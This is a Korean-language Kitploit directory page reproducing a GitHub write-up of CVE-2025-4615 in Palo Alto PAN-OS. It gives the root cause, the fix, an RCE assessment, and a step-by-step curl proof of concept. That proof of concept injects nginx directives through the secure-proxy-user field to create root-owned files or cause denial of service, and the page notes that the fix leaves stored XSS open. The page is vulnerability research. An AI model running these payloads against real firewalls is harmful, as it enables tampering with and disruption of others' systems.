Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-4615 — cve-2025-4615 poc & deep dive | Kitploit
도구/GitHubGitHub/sh00bx/cve-2025-4615
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationConfiguration AuditingPenetration Testing
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & deep dive

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4615 — 기술 분석 및 개념 증명 (Proof of Concept)

취약점: PAN-OS 관리 웹 인터페이스의 입력 부적절한 중화 (Improper Neutralization of Input)
벤더 권고: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (중간) — 무결성 높음, 가용성 높음
CWE: CWE-83 (웹 페이지 속성의 스크립트 부적절한 중화)
CAPEC: CAPEC-165 (파일 조작)
크레딧: Visa Inc.
분석 날짜: 2026-03-26


1. 요약

CVE-2025-4615는 Palo Alto Networks PAN-OS의 secure-proxy-user 구성 필드에 있는 개행 문자 삽입 취약점입니다. 인증된 관리자는 XML API 또는 웹 인터페이스를 통해 프록시 사용자 이름에 개행 문자(\n)를 삽입할 수 있습니다. 커밋 중에 이 값은 정화되지 않은 상태로 /etc/nginx/nginx.conf에 기록되어 주석 라인을 벗어나 임의의 nginx 지시문을 주입합니다.

영향:

  • 주입된 access_log 지시문을 통해 루트 권한으로 임의의 파일 생성/쓰기
  • 서비스 거부(Denial of Service) — 잘못된 지시문이 nginx 재로드를 방해하여 관리 인터페이스를 중단시킴
  • 여러 시스템 구성 파일에 걸친 구성 손상

참고: 벤더의 수정(개행 문자 제거)은 불완전합니다. 출력 인코딩이나 문자 허용 목록이 적용되지 않아 동일한 필드가 **저장형 교차 사이트 스크립팅(XSS)**에 취약한 상태로 남아 있습니다.


2. 근본 원인 분석

2.1 삽입 지점

secure-proxy-user 필드는 PAN-OS 스키마(schema.xml)에서 입력 정화 없이 일반 문자열로 정의됩니다:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

참고: secure-proxy-server에는 정규식 제약(regex="^([0-9a-zA-Z.:/_-])+$")이 있지만, secure-proxy-user에는 없습니다. 31자 길이 제한이 있지만 문자 제한은 없습니다.

2.2 취약한 구성 작성기

커밋 중에 PAN-OS는 템플릿(/etc/nginx/nginx.conf.tmpl)에서 /etc/nginx/nginx.conf를 다시 생성합니다. 템플릿에는 다음이 포함됩니다:

root@kitploit:~
#pan_proxy_comment %s

%s 플레이스홀더는 프록시 서버, 사용자 이름, 암호화된 비밀번호를 단일 문자열로 연결하는 libpanmp_mp.so 라이브러리 함수에 의해 채워집니다. 취약한 버전에서는 사용자 이름의 개행 문자가 그대로 전달됩니다.

2.3 결과적인 nginx.conf 손상

secure-proxy-user에 a\naccess_log /tmp/pwn3;\n#이 포함되면 생성된 nginx.conf는 다음과 같습니다:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Comment (harmless)
access_log /tmp/pwn3;                  — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password==            — Password commented out by injected #

1행은 주석입니다. 2행은 http 블록 수준의 유효한 nginx 지시문입니다. 3행은 공격자의 # 문자에 의해 무력화됩니다.

2.4 위험한 이유

nginx 마스터 프로세스는 루트로 실행됩니다. access_log 지시문은 nginx가 대상 파일을 루트로 열거나 생성하게 합니다. 이를 통해 다음이 가능합니다:

  1. 파일 시스템 어디에나 임의의 파일 생성
  2. 임의의 파일 쓰기 (HTTP 액세스 로그 내용이 추가됨)
  3. 잘못된 지시문이 주입되면 DoS (nginx가 재로드를 거부함)

3. 수정 사항 (및 한계)

수정된 버전(11.1.13)에서는 구성 작성기가 nginx.conf에 쓰기 전에 프록시 사용자 이름에서 개행 문자를 제거합니다. 동일한 악성 값이 생성하는 결과:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

모든 것이 # 주석 내에서 안전하게 한 줄에 유지됩니다.

그러나 이 수정은 불완전합니다. 개행 주입만 해결합니다. secure-proxy-user 필드는 여전히 출력 인코딩 없이 임의의 문자(", <, > 포함)를 허용하므로 저장형 XSS 벡터가 그대로 열려 있습니다. unit-43-xss를 참조하십시오.


4. 개념 증명 (Proof of Concept)

사전 요구 사항

  • PAN-OS 관리에 대한 인증된 관리자 액세스 (API 또는 웹 UI)
  • 구성된 secure-proxy-server (프록시 주석이 나타나기 위해 필요)

1단계: API 키 획득

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

2단계: 프록시 서버 구성 (설정되지 않은 경우)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

3단계: 악성 프록시 사용자 이름 주입

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

4단계: 구성 커밋

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

5단계: 확인

커밋이 완료된 후(약 30초):

  • /tmp/pwn3이 루트 소유권으로 생성됨
  • nginx -t -c /etc/nginx/nginx.conf가 syntax is ok를 보고함
  • nginx가 주입된 지시문으로 성공적으로 재로드됨

5. 전파 분석

정화되지 않은 secure-proxy-user 값이 여러 파일로 전파됩니다:

curlrc (/root/.curlrc) 및 wgetrc (/root/.wgetrc) 작성기는 취약한 버전에서도 개행 문자를 제거합니다. nginx.conf 작성기가 유일하게 정화하지 않은 경로였습니다.


6. RCE 평가

11가지 공격 벡터에 대한 광범위한 테스트에서 nginx 1.20.1을 사용하는 PAN-OS 11.1.6-h7에서 CVE-2025-4615만으로는 독립적인 OS 수준 RCE를 달성할 수 없음을 확인했습니다. 세 가지 중요한 차단 요인:

  1. nginx \x0A 이스케이프 — 로그 파일에 원시 개행 삽입을 방지하여 vixie-cron이 쓰레기 라인을 허용함에도 불구하고 cron 삽입을 차단합니다(실험실 확인: cron은 쓰레기로 둘러싸인 유효한 라인을 실행합니다).
  2. 31자 제한 — log_format + access_log를 결합하여 기록된 파일에 대한 내용 제어를 얻는 것을 방지합니다.
  3. curlrc/wgetrc 개행 제거 — 보조 파일 쓰기 채널을 제거합니다.

권고의 '임의 명령 실행'은 OS 수준 명령 실행이 아닌 임의의 nginx 지시문을 가리킬 가능성이 높습니다. 이는 CVSS VC:N(기밀성 영향 없음) 및 수정 사항의 성격과 일치합니다.

세 가지 차단 요인 중 하나라도 없었다면, cron 삽입을 통해 RCE가 쉽게 달성 가능했을 것입니다.


PAN-OS 11.1.6-h7(취약) 및 PAN-OS 11.1.13(수정)을 사용하여 격리된 실험실 환경에서 분석이 수행되었습니다.

도구 다운로드
파일영향
/etc/nginx/nginx.conf심각 — nginx 지시문 주입
/opt/pancfg/tmp/.tdb_conf.xml템플릿 DB 구성 (XML 삽입)
/opt/pancfg/mgmt/audit/cfg-audit.xml,v감사 추적 손상
/opt/pancfg/mgmt/replaydb/replay.db재생 데이터베이스 손상
XSL 생성 데몬 구성 (authd, cord, useridd 등)개행이 포함된 XML 값 유지